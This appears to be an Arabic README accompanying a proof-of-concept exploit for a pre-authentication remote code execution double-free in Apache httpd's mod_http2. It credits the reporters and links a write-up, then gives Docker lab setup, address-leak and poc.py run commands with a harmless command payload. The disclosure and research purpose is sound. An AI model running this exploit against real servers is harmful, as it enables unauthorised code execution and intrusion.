
تحرير مزدوج (Double-free) في تنظيف تدفقات mod_http2 في Apache httpd يؤدي إلى تنفيذ تعليمات برمجية عن بُعد قبل المصادقة.
خطأ تحرير مزدوج في تنظيف تدفق mod_http2 في Apache httpd يؤدي إلى تنفيذ برمجيات عن بُعد قبل المصادقة.
المتأثر: httpd 2.4.66 مع mod_http2 و MPM متعدد الخيوط (event/worker). أُصلح في: 2.4.67.
تم الاكتشاف والإبلاغ بواسطة Bartlomiej Dmitruk (striga.ai) و Stanislaw Strzalkowski (isec.pl).
الشرح: https://striga.ai/research/apache-httpd-mod-http2-double-free
قم ببناء وبدء البيئة الضعيفة:
docker build -t httpd-poc .
docker run -d --name httpd-poc --privileged -p 9443:443 httpd-poc
احصل على عناوين system() و scoreboard:
docker exec httpd-poc python3 /getaddr.py 1
قم بتشغيل الاستغلال:
python3 poc.py --host localhost --port 9443 \
--cmd 'date >> /tmp/win' --workers 64 \
--system <system_addr> --scoreboard <scoreboard_addr>
تحقق (التنفيذ احتمالي، قد يستغرق دقائق إلى ساعات):
docker exec httpd-poc cat /tmp/win
docker rm -f httpd-poc